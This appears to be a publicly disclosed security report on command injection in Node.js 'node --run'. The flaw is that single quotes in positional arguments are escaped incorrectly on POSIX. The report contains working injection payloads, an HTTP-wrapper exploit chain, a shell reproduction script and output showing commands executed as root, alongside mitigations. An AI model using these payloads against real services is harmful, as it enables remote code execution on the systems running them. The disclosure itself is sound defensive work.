HexBrain

Node.js · Report #3817602

Node --run POSIX positional argument escaping allows shell command injection

Informativestatus
highseverity
13upvotes
23 Jun 2026disclosed

How it was found

Summary

Node.js node --run <script> -- <args> attempts to append positional arguments to a package script after escaping each argument for the shell.

On POSIX platforms, the escaping logic handles single quotes incorrectly. A positional argument containing a single quote can break out of the intended quoted argument and inject additional shell syntax.

The attacker does not need to control package.json or the selected script. The demonstrated payload only controls one argument after --.

Affected Versions

Confirmed vulnerable on Linux x64:

VersionResult
v22.23.0Vulnerable
v24.17.0Vulnerable
v26.3.1Vulnerable

--run was added in v22.0.0, so older versions that do not implement --run are not affected by this specific issue.

Windows was not tested.

Attack Scenario

A service, CI bot, build wrapper, or developer tool invokes a trusted package script through Node's built-in task runner and forwards a user-controlled value as a positional argument:

node --run test -- "$user_controlled_pattern"

The application expects the value after -- to be delivered to the package script as data, such as a test name, filename, glob, branch name, or filter string.

An attacker supplies a value containing a single quote and shell metacharacters. Node's task runner incorrectly escapes the argument, causing the shell to execute attacker-controlled syntax as the user running node --run.

Exploit Chain Scenario

The included exploit-chain PoC models a realistic wrapper that does not use a shell at the application boundary.

The wrapper exposes an HTTP endpoint that receives a user-controlled query value and invokes Node with an argv array:

spawn(process.execPath, ['--run', 'search', '--', userInput], {
  shell: false
});

The trusted package script is only:

{
  "scripts": {
    "search": "node helper.js"
  }
}

A safe request forwards safe filter value to helper.js and does not create the marker file.

An attack request forwards:

SAFE_ARG'; printf "chain-owned" > "$CHAIN_MARKER"; #

Even though the wrapper used shell: false, Node's internal --run implementation converts the single argv element into shell syntax, truncates the helper argument to SAFE_ARG\, and executes the injected printf redirection.

Why This Is Not Just Application Misuse

Package scripts themselves are shell commands, but Node exposes a separate documented boundary for arguments after --.

The Node.js CLI documentation says that arguments after -- are appended to the script:

https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/doc/api/cli.md#L2632-L2675

Node's implementation also explicitly treats these values as positional arguments that need escaping before being appended:

https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/src/node_task_runner.cc#L54-L79

The vulnerability is that Node's own escaping function does not preserve the argument boundary for single quotes on POSIX. The caller may have correctly passed a single literal argv element to node --run, but Node converts that argv element into shell syntax.

Root Cause Code Evidence

ProcessRunner appends positional arguments by concatenating EscapeShell(arg) into a command string that is later passed to the shell with -c:

https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/src/node_task_runner.cc#L54-L79

The POSIX branch of EscapeShell() wraps the argument in single quotes, but replaces embedded single quotes with \':

https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/src/node_task_runner.cc#L173-L182

In POSIX shell syntax, a single quote cannot be escaped with backslash while inside single quotes. The resulting command string allows an embedded single quote to close the quoted argument.

Current tests cover spaces and double quotes in positional arguments, but not single quotes:

https://github.com/nodejs/node/blob/2e190332d098124605962520182f3f279419149d/test/parallel/test-node-run.js#L143-L157

Proof of Concept

The PoC creates a temporary package with a harmless script:

{
  "scripts": {
    "show": "printf \"received:%s\\n\""
  }
}

It then invokes:

node --run show -- "SAFE_ARG'; printf \"command-injection\" > \"$NODE_RUN_POC_MARKER\"; #"

Expected safe behavior:

The complete payload is passed as one literal positional argument and no marker file is created.

Actual behavior:

The shell executes the injected printf redirection and creates the marker file.

Command Execution Proof

A second PoC uses the same bug to execute whoami:

SAFE_ARG'; whoami > "$NODE_RUN_COMMAND_OUTPUT"; #

Output from v26.3.1:

{
  "nodeVersion": "v26.3.1",
  "platform": "linux",
  "arch": "x64",
  "proof": "whoami command execution through node --run positional argument shell injection",
  "vulnerable": true,
  "payload": "SAFE_ARG'; whoami > \"$NODE_RUN_COMMAND_OUTPUT\"; #",
  "command": "whoami",
  "commandOutput": "root",
  "commandOutputCreated": true,
  "childExitCode": 0,
  "stdout": "received:SAFE_ARG\\\n",
  "stderr": ""
}

This shows arbitrary shell command execution as the operating-system user running the Node.js process. In a remotely reachable wrapper or CI service that forwards attacker-controlled input to node --run ... --, this becomes remote command execution in that service context.

Relevant Output

From v26.3.1:

{
  "nodeVersion": "v26.3.1",
  "platform": "linux",
  "arch": "x64",
  "feature": "node --run positional argument forwarding",
  "vulnerable": true,
  "markerCreated": true,
  "markerContent": "command-injection",
  "childExitCode": 0,
  "stdout": "received:SAFE_ARG\\\n",
  "stderr": "",
  "payload": "SAFE_ARG'; printf \"command-injection\" > \"$NODE_RUN_POC_MARKER\"; #"
}

Raw outputs are included as attachments:

  • node-v22.23.0-output.json
  • node-v24.17.0-output.json
  • node-v26.3.1-output.json
  • node-v26.3.1-whoami-output.json
  • node-v22.23.0-http-wrapper-chain-output.json
  • node-v24.17.0-http-wrapper-chain-output.json
  • node-v26.3.1-http-wrapper-chain-output.json

Exploit-chain output from v26.3.1:

{
  "nodeVersion": "v26.3.1",
  "exploitChain": "remote HTTP input -> safe argv spawn wrapper -> node --run positional argument -> shell command injection",
  "vulnerable": true,
  "safeRequest": {
    "markerCreated": false,
    "helperObserved": {
      "argv": [
        "safe filter value"
      ]
    }
  },
  "attackRequest": {
    "markerCreated": true,
    "markerContent": "chain-owned",
    "helperObserved": {
      "argv": [
        "SAFE_ARG\\"
      ]
    },
    "childExitCode": 0,
    "stderr": ""
  }
}

Manual Reproduction

Run on a POSIX system with an affected Node.js version:

WORKDIR="$(mktemp -d)"
cd "$WORKDIR"

cat > package.json <<'JSON'
{"scripts":{"show":"printf \"received:%s\\n\""}}
JSON

export NODE_RUN_POC_MARKER="$WORKDIR/command-executed.txt"
PAYLOAD="SAFE_ARG'; printf \"command-injection\" > \"\$NODE_RUN_POC_MARKER\"; #"

node --run show -- "$PAYLOAD"
cat "$NODE_RUN_POC_MARKER"

Vulnerable output:

received:SAFE_ARG\
command-injection

The second line is printed by cat reading the marker file created by injected shell syntax.

Mitigation / Workaround

Applications should avoid forwarding untrusted values to node --run until this is fixed.

If forwarding untrusted values is required, avoid node --run and invoke a trusted executable directly with an argv array through child_process.spawn() or equivalent APIs that do not concatenate arguments into a shell command string.

Patch Direction

The upstream fix should ensure that positional arguments after -- cannot alter shell syntax when appended to the package script.

Possible directions include using a correct POSIX single-quote escaping strategy, or changing the invocation model so positional arguments are passed as shell positional parameters rather than concatenated into the script string.

The final upstream fix may choose a different implementation.

Impact

This is command injection in the node --run positional argument forwarding boundary on POSIX.

This is especially security-relevant because the application boundary may use child_process.spawn() with an argv array and shell: false; the shell interpretation is introduced later by Node's internal --run task runner.

Impact depends on the privileges of the process invoking Node. In CI, build automation, internal web tooling, or wrapper services, this can become remote code execution as the account running the job.

The strongest impact occurs when the attacker can influence an argument after -- but cannot otherwise control the package script or the shell command being executed.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original